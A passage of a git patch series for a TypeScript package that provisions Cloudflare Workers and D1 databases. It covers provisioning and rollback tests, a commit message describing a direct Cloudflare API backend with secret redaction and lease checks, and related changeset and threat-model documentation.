expect(api.events).toEqual([ + 'assertOwned', + ...portMutation('attachCustomDomain'), + ]); + return; + } + + if (scenario === 'normal traffic removal') { + deployedCandidate(api); + api.domains.push({ + id: 'domain-id', + hostname: spec.routeHostname, + service: spec.scriptName, + }); + await backend(api).removeTraffic( + spec, + undefined, + activeRelease, + database, + ownedFence, + ); + expect(api.events).toEqual([ + 'assertOwned', + ...portMutation('detachCustomDomain'), + ...portMutation('disableOrdinaryWorkerPublicAccess'), + ]); + return; + } + + if (scenario === 'force traffic removal') { + api.domains.push({ + id: 'domain-id', + hostname: spec.routeHostname, + service: spec.scriptName, + }); + api.footprints.set(spec.scriptName, { + scriptPresent: true, + workersDevEnabled: true, + previewUrlsEnabled: true, + customDomains: [], + zoneRoutes: [], + }); + await backend(api).forceDecommissionStep( + fleetRecord(), + 'remove-traffic', + ownedFence, + ); + expect(api.events).toEqual([ + ...portMutation('detachCustomDomain'), + ...portMutation('disableOrdinaryWorkerPublicAccess'), + ]); + return; + } + + if (scenario === 'secret deletion') { + api.secretNames.set(spec.scriptName, ['A']); + await backend(api).forceDecommissionStep( + fleetRecord(), + 'revoke-credentials', + ownedFence, + ); + expect(api.events).toEqual(portMutation('deleteControlSecrets')); + return; + } + + if (scenario === 'maintenance request') { + deployedCandidate(api); + const request = vi.fn(async () => { + // Recorded into the fake's stream so the final assertion pins that the + // backend asserted the fence BEFORE dispatching, not merely at all. + api.events.push('maintenance-dispatch'); + return maintenanceResponse(); + }); + await backend(api, { fetch: request }).ensureMaintenance( + spec, + secrets.maintenanceAdmin, + ownedFence, + 'candidate', + ); + expect(request).toHaveBeenCalledTimes(1); + expect(api.events).toEqual(['assertOwned', 'maintenance-dispatch']); + return; + } + + throw new Error(`unhandled scenario '${scenario satisfies never}'`); + }); +}); + +describe('PlainWorkerBackend core-policy refusals', () => { + it('refuses promotion from a disallowed route before creating a deployment', async () => { + const api = new PlainWorkerProvisioningApiFake(); + api.versions.set(spec.scriptName, [ + ownedVersion('current'), + ownedVersion('candidate'), + ]); + api.deployments.set(spec.scriptName, { + versions: [ + { versionId: 'current', percentage: 100 }, + { versionId: 'candidate', percentage: 0 }, + ], + }); + api.domains.push({ + id: 'foreign-domain', + hostname: spec.routeHostname, + service: 'foreign-worker', + }); + + await expect( + backend(api).promoteWorker( + spec, + { allowedCurrentScriptNames: [spec.scriptName], allowUnrouted: false }, + undefined, + api.fence(), + 'candidate', + ), + ).rejects.toThrow( + `custom domain '${spec.routeHostname}' is owned by unexpected Worker 'foreign-worker'`, + ); + expect(api.events).not.toContain('mutation:createDeployment'); + }); + + it('refuses a mismatched maintenance digest without promoting', async () => { + const api = new PlainWorkerProvisioningApiFake(); + deployedCandidate(api); + const request = vi.fn( + async (input: RequestInfo | URL, init?: RequestInit) => { + expect(String(input)).toContain('/admin/ensure-maintenance'); + expect(init?.headers).toMatchObject({ + 'Cloudflare-Workers-Version-Overrides': `${spec.scriptName}="candidate"`, + }); + return maintenanceResponse('f'.repeat(64)); + }, + ); + + await expect( + backend(api, { fetch: request }).ensureMaintenance( + spec, + secrets.maintenanceAdmin, + api.fence(), + 'candidate', + ), + ).rejects.toThrow( + 'maintenance response did not attest fleet specification', + ); + expect(api.events).toEqual(['assertOwned']); + expect(api.events).not.toContain('mutation:createDeployment'); + }); + + it('refuses a second secret deletion after live ownership changes', async () => { + const api = new PlainWorkerProvisioningApiFake(); + deployedCandidate(api); + api.secretNames.set(spec.scriptName, ['A', 'B']); + api.onDeleteControlSecrets = () => { + const version = ownedVersion('candidate'); + api.versions.set(spec.scriptName, [ + { + ...version, + bindings: version.bindings.map((binding) => + binding.type === 'plain-text' && + binding.name === 'DEPLOYMENT_TENANT' + ? { ...binding, value: 'foreign' } + : binding, + ), + }, + ]); + }; + + await expect( + backend(api).revokeCredentials( + spec, + undefined, + activeRelease, + database, + api.fence(), + ), + ).rejects.toThrow('drifted live teardown ownership'); + expect(api.events).toEqual(portMutation('deleteControlSecrets')); + expect(api.secretNames.get(spec.scriptName)).toEqual(['B']); + }); + + it('refuses deletion when a namespace remains after script deletion', async () => { + const api = new PlainWorkerProvisioningApiFake(); + api.scripts.add(spec.scriptName); + deployedCandidate(api); + api.onDeleteWorkerScript = () => { + api.namespaces.set(spec.scriptName, ['residual-namespace']); + }; + + await expect( + backend(api).deleteWorker( + spec, + undefined, + database, + activeRelease, + api.fence(), + ), + ).rejects.toThrow( + `Worker '${spec.scriptName}' or its custom domain remains after delete`, + ); + expect(api.events).toEqual(portMutation('deleteWorkerScript')); + }); +}); diff --git a/packages/fleet-control/test/provision.test.ts b/packages/fleet-control/test/provision.test.ts index 76cb55b0..275a54c2 100644 --- a/packages/fleet-control/test/provision.test.ts +++ b/packages/fleet-control/test/provision.test.ts @@ -1,6 +1,10 @@ // SPDX-License-Identifier: Apache-2.0 -import { describe, expect, it } from 'vitest'; +import { createHash } from 'node:crypto'; +import { mkdtemp } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { describe, expect, it, vi } from 'vitest'; import { ActiveRouteAttestationError } from '../src/active-route.js'; import type { BridgeMutationPlan, @@ -42,11 +46,36 @@ import type { InitialExecutionFenceState, LiveDeployment, MaintenanceHealth, + PlainWorkerRouteApi, ProvisioningBackend, ProvisioningBackendKind, SeedDeploymentIdentityOptions, } from '../src/types.js'; import { externalReleaseScriptName } from '../src/workers-for-platforms-backend.js'; +import { WranglerLoopBackend } from '../src/wrangler-loop-backend.js'; +import type { CommandResult, CommandRunner } from '../src/wrangler-runner.js'; +import { memoryStore, routeApi } from './fixtures/plain-worker-port-probe.js'; +import { + type PlainWorkerFsControl, + registerScratchCleanup, +} from './fixtures/wrangler-fs-mock.js'; + +const fsControl = vi.hoisted(() => ({ + failFleetCleanup: false, + residualDirectory: undefined, + cleanupError: new Error('provision upload cleanup failed'), +})); + +vi.mock('node:fs/promises', async () => { + const { createFsPromisesMock } = await import( + './fixtures/wrangler-fs-mock.js' + ); + return createFsPromisesMock(fsControl); +}); + +const exportDirectories = registerScratchCleanup(fsControl, { + cleanupError: fsControl.cleanupError, +}); const secrets: DeploymentSecrets = { deploymentIdentity: 'deployment-identity-secret-value-0001', @@ -682,6 +711,239 @@ class R2RollbackBackend extends FakeBackend { } } +async function j1Harness(deployment: DeploymentSpec) { + const digest = deploymentSpecDigest(deployment); + const state = { + databaseExists: false, + workerExists: false, + deploymentExists: false, + preexistingVersion: false, + candidateVersion: false, + publicAccessEnabled: false, + sentinelExists: false, + databaseOwner: undefined as string | undefined, + appliedMigrations: 0, + }; + const runnerCalls: string[][] = []; + const runner: CommandRunner = { + maxDurationMs: 5 * 60_000, + async run(arguments_: readonly string[]): Promise { + runnerCalls.push([...arguments_]); + const command = arguments_.slice(0, 2).join(' '); + if (command === 'd1 list') { + return { + stdout: JSON.stringify( + state.databaseExists + ? [{ uuid: 'database-id', name: deployment.databaseName }] + : [], + ), + stderr: '', + }; + } + if (command === 'd1 create') { + state.databaseExists = true; + return { stdout: '', stderr: '' }; + } + if (command === 'deployments status') { + if (!state.deploymentExists) throw new Error('deployment not found'); + return { + stdout: JSON.stringify({ + versions: [{ id: 'candidate', percentage: 100 }], + }), + stderr: '', + }; + } + if (command === 'versions list') { + if (!state.workerExists) throw new Error('script not found'); + return { + stdout: JSON.stringify([ + ...(state.preexistingVersion + ? [ + { + id: 'existing', + annotations: { 'workers/tag': digest }, + }, + ] + : []), + ...(state.candidateVersion + ? [ + { + id: 'candidate', + annotations: { 'workers/tag': digest }, + }, + ] + : []), + ]), + stderr: '', + }; + } + if (command === 'versions view') { + return { + stdout: JSON.stringify({ + id: 'candidate', + annotations: { 'workers/tag': digest }, + resources: { + bindings: [ + { type: 'd1', name: 'DB', id: 'database-id' }, + { + type: 'durable_object_namespace', + name: 'MAINTENANCE', + class_name: 'Maintenance', + namespace_id: 'namespace-maintenance', + }, + { + type: 'plain_text', + name: 'DEPLOYMENT_TENANT', + text: deployment.tenantTag, + }, + { + type: 'plain_text', + name: 'FLEET_ENVIRONMENT', + text: deployment.environment, + }, + { + type: 'plain_text', + name: 'FLEET_SCHEMA_VERSION', + text: String(deployment.schemaVersion), + }, + { + type: 'plain_text', + name: 'FLEET_SPEC_DIGEST', + text: digest, + }, + { + type: 'plain_text', + name: 'FLEET_INGRESS_CONTRACT', + text: 'guarded-object-v1', + }, + ], + }, + }), + stderr: '', + }; + } + if (arguments_[0] === 'deploy') { + state.workerExists = true; + state.deploymentExists = true; + state.candidateVersion = true; + state.publicAccessEnabled = true; + return { stdout: '', stderr: '' }; + } + if (arguments_[0] === 'delete') { + state.workerExists = false; + state.deploymentExists = false; + state.preexistingVersion = false; + state.candidateVersion = false; + state.publicAccessEnabled = false; + return { stdout: '', stderr: '' }; + } + throw new Error(`unexpected command ${arguments_.join(' ')}`); + }, + }; + const plainRouteApi: PlainWorkerRouteApi = routeApi({ + async queryDatabase(_databaseId, sql, bindings = []) { + if ( + sql.includes("FROM sqlite_schema WHERE type = 'table' ORDER BY name") + ) { + return state.sentinelExists + ? [ + { + name: 'flowsafe_deployment', + sql: 'CREATE TABLE IF NOT EXISTS flowsafe_deployment (id INTEGER PRIMARY KEY CHECK (id = 1), tenant_tag TEXT NOT NULL, provisioned_at TEXT NOT NULL)', + }, + ] + : []; + } + if ( + sql.includes("FROM sqlite_schema WHERE type = 'table' AND name = ?") + ) { + return state.sentinelExists + ? [ + { + sql: 'CREATE TABLE IF NOT EXISTS flowsafe_deployment (id INTEGER PRIMARY KEY CHECK (id = 1), tenant_tag TEXT NOT NULL, provisioned_at TEXT NOT NULL)', + }, + ] + : []; + } + if (sql.startsWith('PRAGMA table_info(flowsafe_deployment)')) { + return [ + { name: 'id', type: 'INTEGER', notnull: 0, pk: 1 }, + { name: 'tenant_tag', type: 'TEXT', notnull: 1, pk: 0 }, + { name: 'provisioned_at', type: 'TEXT', notnull: 1, pk: 0 }, + ]; + } + if (sql.includes('SELECT id, tenant_tag FROM flowsafe_deployment')) { + return state.databaseOwner + ? [{ id: 1, tenant_tag: state.databaseOwner }] + : []; + } + if (sql.startsWith('CREATE TABLE IF NOT EXISTS flowsafe_deployment')) { + state.sentinelExists = true; + return []; + } + if (sql.startsWith('INSERT OR IGNORE INTO flowsafe_deployment')) { + state.databaseOwner = bindings[0]; + return []; + } + if (sql.includes('SELECT version, sql_sha256')) { + return deployment.migrations + .slice(0, state.appliedMigrations) + .map((migration) => ({ + version: migration.version, + sql_sha256: createHash('sha256') + .update(migration.sql) + .digest('hex'), + })); + } + return []; + }, + async batchDatabase() { + state.appliedMigrations += 1; + }, + async getDatabase(databaseId) { + return state.databaseExists && databaseId === 'database-id' + ? { + id: 'database-id', + name: deployment.databaseName, + created: false, + } + : undefined; + }, + async deleteDatabase(databaseId) { + if (databaseId === 'database-id') state.databaseExists = false; + }, + async inspectOrdinaryWorkerFootprint() { + return { + scriptPresent: state.workerExists, + workersDevEnabled: state.publicAccessEnabled, + previewUrlsEnabled: false, + customDomains: [], + zoneRoutes: [], + }; + }, + async disableOrdinaryWorkerPublicAccess() { + state.publicAccessEnabled = false; + }, + async listDurableObjectNamespaces() { + return state.workerExists ? ['namespace-maintenance'] : []; + }, + }); + + const exportDirectory = await mkdtemp( + join(tmpdir(), 'provision-b1b-export-'), + ); + exportDirectories.add(exportDirectory); + const backend = new WranglerLoopBackend({ + runner, + routeApi: plainRouteApi, + exportDirectory, + exportStore: memoryStore(), + }); + const store = new MemoryStore(); + + return { backend, store, runnerCalls, state }; +} + describe('fleet provisioning', () => { it('attests empty application bindings exactly while allowing only system-owned variables', () => { const deployment = spec(); @@ -2989,4 +3251,65 @@ describe('fleet provisioning', () => { expect(backend.events).not.toContain('delete-database'); expect(store.record?.phase).toBe('worker-deployed'); }); + + it('rolls back a Worker this attempt created when upload scratch cleanup fails', async () => { + const deployment = spec({ + egressProxyService: undefined, + }); + const { backend, store, runnerCalls, state } = await j1Harness(deployment); + fsControl.failFleetCleanup = true; + + const failure = await provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: deployment, + secrets, + }).catch((error: unknown) => error); + + expect(failure).toBeInstanceOf(ProvisioningError); + expect((failure as ProvisioningError).cause).toMatchObject({ + message: expect.stringContaining( + 'but failed to clean up the adapter credential scratch', + ), + createdByAttempt: true, + resourceState: 'present', + }); + expect(state.workerExists).toBe(false); + expect(state.databaseExists).toBe(false); + expect(store.record).toBeUndefined(); + expect(runnerCalls.some(([command]) => command === 'delete')).toBe(true); + }); + + it('leaves a pre-existing Worker in place when upload scratch cleanup fails', async () => { + const deployment = spec({ + egressProxyService: undefined, + }); + const { backend, store, runnerCalls, state } = await j1Harness(deployment); + state.workerExists = true; + state.preexistingVersion = true; + state.publicAccessEnabled = true; + fsControl.failFleetCleanup = true; + + const failure = await provisionDeployment({ + initialExecutionFenceState: 'open', + backend, + store, + spec: deployment, + secrets, + }).catch((error: unknown) => error); + + expect(failure).toBeInstanceOf(ProvisioningError); + expect((failure as ProvisioningError).cause).toMatchObject({ + message: expect.stringContaining( + 'but failed to clean up the adapter credential scratch', + ), + createdByAttempt: false, + resourceState: 'present', + }); + expect(runnerCalls.some(([command]) => command === 'delete')).toBe(false); + expect(state.workerExists).toBe(true); + expect(state.databaseExists).toBe(true); + expect(store.record).toBeUndefined(); + }); }); diff --git a/packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts b/packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts index 8b6f292d..bfe0e0eb 100644 --- a/packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts +++ b/packages/fleet-control/test/wrangler-loop-backend-port-contract.test.ts @@ -468,10 +468,10 @@ describe('WranglerLoopBackend provisioning port contract', () => { ).toBe(false); }); - it('surfaces cleanup failure after reconciliation and leaves the Worker deployed', async () => { + it('classifies cleanup failure after reconciliation for caller-owned rollback', async () => { fsControl.failFleetCleanup = true; const runner = uploadRunner(); - await expect( + const rejection = await rejectedValue( (await backend(runner)).deployWorker( spec, database, @@ -479,7 +479,15 @@ describe('WranglerLoopBackend provisioning port contract', () => { undefined, mutationFence(), ), - ).rejects.toBe(fsControl.cleanupError); + ); + expect(rejection).toEqual( + expect.objectContaining({ + message: `installed Worker '${spec.scriptName}' but failed to clean up the adapter credential scratch: adapter cleanup failed`, + createdByAttempt: true, + resourceState: 'present', + }), + ); + expect((rejection as Error).cause).toBe(fsControl.cleanupError); expect( runner.calls.some( (arguments_) => @@ -492,10 +500,10 @@ describe('WranglerLoopBackend provisioning port contract', () => { expect(fsControl.residualDirectory).toBeDefined(); }); - it('surfaces an undefined adapter cleanup rejection after backend reconciliation', async () => { + it('wraps an undefined adapter cleanup rejection after backend reconciliation', async () => { fsControl.failFleetCleanup = true; fsControl.cleanupError = undefined; - await expect( + const rejection = await rejectedValue( (await backend(uploadRunner())).deployWorker( spec, database, @@ -503,7 +511,15 @@ describe('WranglerLoopBackend provisioning port contract', () => { undefined, mutationFence(), ), - ).rejects.toBeUndefined(); + ); + expect(rejection).toEqual( + expect.objectContaining({ + message: `installed Worker '${spec.scriptName}' but failed to clean up the adapter credential scratch`, + createdByAttempt: true, + resourceState: 'present', + }), + ); + expect((rejection as Error).cause).toBeUndefined(); }); it('uses rediscovery failure when a dispatched upload rejects with undefined', async () => { @@ -579,27 +595,27 @@ describe('WranglerLoopBackend provisioning port contract', () => { it.each([ [ 'missing version id', - 'wrangler deployment status has an invalid version', + 'plain Worker deployment status has an invalid version', { versions: [{ percentage: 10 }] }, ], [ 'empty inventory', - 'wrangler deployment status has no versions', + 'plain Worker deployment status has no versions', { versions: [] }, ], [ 'negative percentage', - 'wrangler deployment status has an invalid version', + 'plain Worker deployment status has an invalid version', { versions: [{ id: 'v1', percentage: -1 }] }, ], [ 'omitted percentage', - 'wrangler deployment status has an invalid version', + 'plain Worker deployment status has an invalid version', { versions: [{ id: 'v1' }] }, ], [ 'non-numeric percentage', - 'wrangler deployment status has an invalid version', + 'plain Worker deployment status has an invalid version', { versions: [{ id: 'v1', percentage: 'NaN' }] }, ], ])('keeps the %s backend deployment-status refusal', async (_title, message, status) => { diff --git a/packages/fleet-control/test/wrangler-loop-backend.test.ts b/packages/fleet-control/test/wrangler-loop-backend.test.ts index 48fca30d..1ba83a5b 100644 --- a/packages/fleet-control/test/wrangler-loop-backend.test.ts +++ b/packages/fleet-control/test/wrangler-loop-backend.test.ts @@ -2079,7 +2079,7 @@ export default { await expect( backend(runner).ensureDatabase(deployment, fence), ).rejects.toThrow( - 'Wrangler command maximum duration must be below the external mutation fence lease TTL', + 'provider mutation maximum duration must be below the external mutation fence lease TTL', ); expect(runner.calls.map(operation)).toEqual([]); expect(fence.assertOwned).not.toHaveBeenCalled(); From bb9291c6c92406f32ae3102c3a73acd2c1ac976d Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 27 Aug 2026 05:20:20 +0400 Subject: [PATCH 003/169] feat(fleet-control): direct Cloudflare API ordinary-Worker backend Checkpoint B2a of the Worker-native control-plane work. Add CloudflareApiPlainWorkerBackend, a PlainWorkerBackend subclass that drives ordinary Workers through Cloudflare's APIs instead of a Wrangler process, over an internal adapter that talks to CloudflareProvisioningClient. The client gains a plain-only construction plane ({ plane: 'plain-worker' }, which rejects any dispatchNamespace key), a named CloudflarePlaneCapabilityError for the members that need the configured dispatch namespace, ordinary-Worker fact members, and two upload paths that send Wrangler's single JSON metadata part so limits and version annotations survive. It also exports CloudflareApiPlainWorkerBackendOptions, PlainWorkerCloudflareClientOptions and CloudflarePlaneCapabilityError, and exposes the configured provider request timeout through a public CloudflareProvisioningClient.requestTimeoutMs getter. Cross-cutting changes, each declared in the changeset as a BEHAVIOR CHANGE (the queued-execution-context change is described below): SDK logging is forced off regardless of CLOUDFLARE_LOG; every paginated inventory is bounded by item count and fails rather than truncating; SDK retries are disabled on Worker upload and deployment, D1 creation, the D1 query path shared with WorkersForPlatformsBackend, and each D1 export poll; database-export failures pass through one redaction boundary that drops signed URLs, provider bodies, headers, and original causes; uploaded secret plaintext is replaced in ordinary-Worker provider error messages before a failed outcome is returned; the three database and R2 reconciliation arms assert the lease before the attempt and again before any readback so a mid-flight lease loss surfaces instead of being masked; a reconciled Worker upload is refused unless the Worker's workers.dev and preview-URL state match the intent; and PlainWorkerBackend rejects an identityCaller that is not a 1-128 character printable single-line ASCII token. Under Workers for Platforms construction the dispatch-namespace listing's 404 still propagates and blocks destructive teardown. Only a plain-only client treats a 404 from that listing as an empty scan, and only before the first namespace is yielded; a later 404, and the same case on the ordinary-Worker version listing, propagates rather than classifying absence. The adapter's outcome members re-assert the lease before returning a failed outcome, prepare uploads and deployments before entering the fenced dispatch boundary, and share the binding normalizer and deployment validator with the Wrangler adapter, which now calls the same functions. The direct adapter classifies each mutation through a package-internal dispatch tracker that the client marks only when a provider mutation request is invoked, so an SDK-side preparation failure, a provider read failure, or a lease-assertion failure that never reached a mutation rejects instead of resolving a failed outcome the core would try to reconcile. Queued provider operations now run under their own execution context: p-queue starts a deferred task from the previous task's microtask, so a queued mutation previously asserted the preceding operation's lease under concurrency pressure. Upload failures that never reached the provider keep a bounded, secret-redacted cause chain, so the originating fence or transport message survives redaction. Adds a recording fetch fixture with a provider world in port vocabulary and a REST projection (the seed for the shared conformance suite), client, adapter and backend suites, threat-model and documentation updates, a minor changeset, logLevel off on the credentialed runner's narrow read client, and packed-consumer probes with a positive control. Known limitation recorded in the docs: a non-Workers-for-Platforms account that answers 403 to the namespace scan blocks destructive D1 teardown by design, and Cloudflare error 10220 can refuse a deployment when secrets changed after the version upload; and a persistently failing workers.dev write leaves the refused Worker in the account for operator cleanup with resourceState 'unknown'. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01At85hntr2BHB6jwKFoFaRD --- .changeset/direct-cloudflare-workers.md | 21 + docs/api-reference.md | 2 +- docs/fleet-control.md | 15 +- docs/security-threat-model.md | 22 + packages/fleet-control/README.md | 14 +- .../scripts/credentialed-conformance.mjs | 6 +- .../scripts/packed-consumer-test.mjs | 46 + .../cloudflare-api-plain-worker-backend.ts | 51 + ...flare-api-plain-worker-provisioning-api.ts | 289 +++ .../fleet-control/src/cloudflare-client.ts | 1235 +++++++++-- packages/fleet-control/src/index.ts | 6 + .../fleet-control/src/plain-worker-backend.ts | 56 +- .../src/provider-binding-inventory.ts | 159 ++ packages/fleet-control/src/types.ts | 38 +- .../src/workers-for-platforms-backend.ts | 4 + .../src/wrangler-loop-backend.ts | 1 + .../wrangler-plain-worker-provisioning-api.ts | 118 +- ...loudflare-api-plain-worker-backend.test.ts | 343 +++ ...-api-plain-worker-provisioning-api.test.ts | 679 ++++++ .../cloudflare-client-plain-worker.test.ts | 1843 +++++++++++++++++ .../test/cloudflare-client.test.ts | 90 +- .../test/cloudflare-rate-coordinator.test.ts | 17 +- .../test/credentialed-conformance.test.ts | 4 +- .../test/fixtures/cloudflare-fetch-fixture.ts | 478 +++++ .../test/plain-worker-backend.test.ts | 172 +- .../workers-for-platforms-backend.test.ts | 140 ++ ...rangler-loop-backend-port-contract.test.ts | 13 +- .../test/wrangler-loop-backend.test.ts | 6 +- ...gler-plain-worker-provisioning-api.test.ts | 24 + 29 files changed, 5413 insertions(+), 479 deletions(-) create mode 100644 .changeset/direct-cloudflare-workers.md create mode 100644 packages/fleet-control/src/cloudflare-api-plain-worker-backend.ts create mode 100644 packages/fleet-control/src/cloudflare-api-plain-worker-provisioning-api.ts create mode 100644 packages/fleet-control/test/cloudflare-api-plain-worker-backend.test.ts create mode 100644 packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts create mode 100644 packages/fleet-control/test/cloudflare-client-plain-worker.test.ts create mode 100644 packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts diff --git a/.changeset/direct-cloudflare-workers.md b/.changeset/direct-cloudflare-workers.md new file mode 100644 index 00000000..b6f7d863 --- /dev/null +++ b/.changeset/direct-cloudflare-workers.md @@ -0,0 +1,21 @@ +--- +'@proofoftech/fleet-control': minor +--- + +Add `CloudflareApiPlainWorkerBackend`, a direct Cloudflare API backend for platform-authored ordinary Workers. Its adapter classifies each mutation's dispatch under the operation's own execution context, so a queued mutation's pre-dispatch failure rejects instead of resolving `{ status: 'failed' }`. Construct it with a plain-only `CloudflareProvisioningClient`. Configure that client with a shared rate coordinator and a durable export store. The existing Wrangler and Workers for Platforms backends keep their public provisioning contracts. + +Expose the configured provider request timeout through the public `CloudflareProvisioningClient.requestTimeoutMs` getter. + +Harden provider behavior across the built-in backends: + +- **BEHAVIOR CHANGE:** Disable Cloudflare SDK logging even when `CLOUDFLARE_LOG` requests verbose output. +- **BEHAVIOR CHANGE:** Bound every paginated Cloudflare inventory and fail instead of truncating an over-bound result. +- **BEHAVIOR CHANGE:** Disable SDK retries for Worker upload and deployment, D1 creation and query, and each D1 export poll. This includes the D1 query path shared by both provider backends. +- **BEHAVIOR CHANGE:** Redact signed URLs, provider response details, headers, and original causes from database export failures. +- **BEHAVIOR CHANGE:** Replace uploaded secret plaintext in **ordinary-Worker** provider error messages, and in the cause chain of transport failures behind them, before returning a failed mutation outcome. +- **BEHAVIOR CHANGE:** Surface a lost lease before database or R2 reconciliation in all three affected create paths. +- **BEHAVIOR CHANGE:** Reject `PlainWorkerBackend.identityCaller` values that are not printable, single-line ASCII tokens from 1 through 128 characters. +- **BEHAVIOR CHANGE:** Refuse a reconciled Worker upload whose workers.dev or preview-URL state does not match the intent instead of accepting it by tag rediscovery. +- **BEHAVIOR CHANGE:** Queued provider mutations assert their own lease. Under concurrency pressure a queued mutation previously ran under the preceding operation's execution context. + +When upgrading, construct direct ordinary-Worker clients with `plane: 'plain-worker'` and no `dispatchNamespace`. Keep `dispatchNamespace` on Workers for Platforms clients, provide one quota coordinator across every replica sharing a provider token, and ensure the token can complete the documented attachment scans before destructive teardown. diff --git a/docs/api-reference.md b/docs/api-reference.md index 2361876c..092c579d 100644 --- a/docs/api-reference.md +++ b/docs/api-reference.md @@ -72,7 +72,7 @@ The migration and idempotency surfaces are grouped by subpath: | Fleet lifecycle | `migrateFleet`, `rollbackExternalRelease`, `auditFleetDrift`, `fleetVersionReport`, `FleetRecord`, and `D1FleetStateStore` | | Active-route attestation | `attestFleetRecordActiveRoute`, `attestConvergedActiveRoute`, `ActiveRouteAttestation`, `ActiveRouteAttestationError`, `ActiveRouteExpectation`, `AttestConvergedActiveRouteOptions`, and `ObservedActiveRoute` | | Settlement | `fleetSettlementKey`, `FleetSettlementContext`, `FleetSettlementEntry`, and `FleetSettlementHost` | -| Backends and provider client | `PlainWorkerBackend`, `PlainWorkerBackendOptions`, `WranglerLoopBackend`, `WorkersForPlatformsBackend`, `CloudflareProvisioningClient`, `D1CloudflareApiRateCoordinator`, and `ProcessLocalCloudflareApiRateCoordinator` | +| Backends and provider client | `PlainWorkerBackend`, `PlainWorkerBackendOptions`, `CloudflareApiPlainWorkerBackend`, `CloudflareApiPlainWorkerBackendOptions`, `WranglerLoopBackend`, `WorkersForPlatformsBackend`, `CloudflareProvisioningClient`, `CloudflareClientOptions`, `PlainWorkerCloudflareClientOptions`, `CloudflarePlaneCapabilityError`, `D1CloudflareApiRateCoordinator`, and `ProcessLocalCloudflareApiRateCoordinator` | ## Browser and server boundaries diff --git a/docs/fleet-control.md b/docs/fleet-control.md index 16b2e24d..8cf78da8 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -6,10 +6,11 @@ Fleet control provisions one D1 database, fleet-owned application R2 buckets, an ## Choose a provisioning backend -Both backends implement the same ordered `ProvisioningBackend` contract: +All backends implement the same ordered `ProvisioningBackend` contract: | Backend | Accepted artifacts | Deployment mechanism | | --- | --- | --- | +| `CloudflareApiPlainWorkerBackend` | Platform-authored only | Direct Cloudflare APIs for ordinary Workers and Worker Versions | | `WranglerLoopBackend` | Platform-authored only | Host-provided Wrangler `>=4.118 <5` commands and generated configuration | | `WorkersForPlatformsBackend` | Platform-authored catalogs and external project releases | Cloudflare Upload API in an untrusted dispatch namespace | @@ -17,6 +18,8 @@ Both backends implement the same ordered `ProvisioningBackend` contract: `WranglerCommandRunner` defaults to `['pnpm', 'exec', 'wrangler']`. Pass its `wranglerCommand` option when the host must select an explicit Wrangler executable or wrapper and fixed arguments. Fleet Control does not install Wrangler for the host. +`CloudflareApiPlainWorkerBackend` uses a `CloudflareProvisioningClient` constructed with `plane: 'plain-worker'`. Do not pass a dispatch namespace. Supply a durable `exportStore` to the client before any lifecycle can delete D1. + The plain backend rejects external artifacts before creating a resource. Switch to Workers for Platforms before you run the first customer-authored artifact. Set `routeHostname` to the customer-facing custom domain. For plain Workers, set `maintenanceBaseUrl` to the distinct Workers control origin; for Workers for Platforms, set it to the control-plane dispatcher origin. Fleet state reserves the route before any Worker can publish it. ## Provision a deployment @@ -74,7 +77,15 @@ Application KV bindings are unsupported. Cloudflare caps an account at [1,000 KV ### Stage ordinary Worker versions -`WranglerLoopBackend` uploads a digest-tagged Worker Version with the exact built-in and declared application secret set in a mode-0600 file. For an existing deployment, it attaches the candidate at zero percent, sends the maintenance request with `Cloudflare-Workers-Version-Overrides`, and accepts the response only when `deploymentSpecDigest` matches the requested build. It then promotes that version to 100 percent, verifies the live custom-domain owner against `PromotionGuard`, attaches the domain through the explicit Cloudflare API seam, and re-inspects the mapping. A failed maintenance check never publishes the route. +Both ordinary-Worker backends upload a digest-tagged Worker Version with the exact built-in and declared application secret set. `WranglerLoopBackend` passes those secrets through a mode-0600 file. For an existing deployment, either backend attaches the candidate at zero percent, sends the maintenance request with `Cloudflare-Workers-Version-Overrides`, and accepts the response only when `deploymentSpecDigest` matches the requested build. It then promotes that version to 100 percent, verifies the live custom-domain owner against `PromotionGuard`, attaches the domain, and re-inspects the mapping. A failed maintenance check never publishes the route. + +The direct API backend must create an initial script before Cloudflare accepts its workers.dev configuration. For either ordinary-Worker backend, tagged-version rediscovery accepts a failed upload only after the Worker footprint attests the intended workers.dev and preview-URL state. + +When that workers.dev write keeps failing, the refusal's compensating traffic removal also fails and leaves the Worker in the account for operator cleanup; the provisioning error reports `resourceState: 'unknown'`. + +The credentialed lane exercises the configured CPU limit at runtime through its `cpu-control` and `cpu-over-limit` probes. + +Cloudflare error `10220` can refuse a deployment when a secret changed after its version upload. This provider limitation applies to both ordinary-Worker backends. Upload a new candidate carrying the current secret set before deploying it. An initial Worker that introduces Durable Object classes uses a route-free `wrangler deploy`, validates maintenance through its distinct control origin, and publishes the customer domain afterward. An existing plain Worker cannot stage a new Durable Object lifecycle migration through Workers Versions; perform that change at an explicit immediate-deployment maintenance boundary. No generated configuration contains a cron trigger. diff --git a/docs/security-threat-model.md b/docs/security-threat-model.md index 8b79a374..ace457c5 100644 --- a/docs/security-threat-model.md +++ b/docs/security-threat-model.md @@ -116,6 +116,28 @@ Audit events can contain actor, workflow, run, deployment, connector, and denial Physical isolation replaces request-level tenant predicates. The following invariants define the boundary. +### Direct Cloudflare API backend + +`CloudflareApiPlainWorkerBackend` runs only in the trusted control plane. Give its `CloudflareProvisioningClient` an account-scoped token limited to the account it provisions. The direct backend needs `Workers Scripts Write`, `D1 Edit`, `Zone Read`, `Workers Routes Read`, `Workers Routes Write`, and `API Tokens Read`. Add [`Workers R2 Storage Write`](https://developers.cloudflare.com/r2/api/tokens/#permission-groups) only when the fleet provisions application R2 buckets. Cloudflare requires `D1 Edit` for HTTP API writes, including identity seeding and ledgered migrations. + +The direct backend's client paths call these Cloudflare API route families: + +- `/accounts/{account_id}/workers/scripts` and nested deployments, versions, secrets, and subdomain routes +- `/accounts/{account_id}/workers/domains` and `/accounts/{account_id}/workers/durable_objects/namespaces` +- 